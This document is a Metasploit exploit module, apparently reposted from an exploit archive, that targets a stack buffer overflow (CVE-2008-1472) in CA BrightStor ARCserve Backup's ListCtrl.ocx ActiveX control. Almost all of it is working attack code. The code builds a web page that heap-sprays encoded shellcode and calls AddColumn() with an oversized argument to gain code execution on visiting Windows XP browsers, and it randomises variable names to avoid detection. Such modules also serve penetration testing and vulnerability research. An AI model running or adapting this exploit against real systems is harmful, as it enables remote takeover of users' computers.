CA BrightStor ARCserve Backup – ‘AddColumn()’ ActiveX Buffer Overflow (Metasploit)
## # $Id: ca_brightstor_addcolumn.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow', 'Description' => %q{ The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker could overflow a buffer and execute arbitrary code on the system. }, 'License' => MSF_LICENSE, 'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ], 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2008-1472' ], [ 'OSVDB', '43214' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => 'Mar 16 2008', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. ret = Rex::Text.to_unescape([target.ret].pack('V')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(30) + 1) var_i = rand_text_alpha(rand(5) + 1) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) content = %Q| <html> <object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object> <script> var #{rand1} = unescape("#{shellcode}"); var #{rand2} = 0x0A0A0A0A; var #{rand3} = 0x400000; var #{rand4} = (#{rand2} - #{rand3}) / #{rand3}; var #{rand5} = unescape("#{ret}"); var #{rand6} = 128; while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5}; #{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length); #{rand7} = new Array(); for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1}; while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5}; #{rand5} = #{rand5}.substring(0, #{rand6}); #{vname}.AddColumn(#{rand5}, 1); </script> </html> | content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |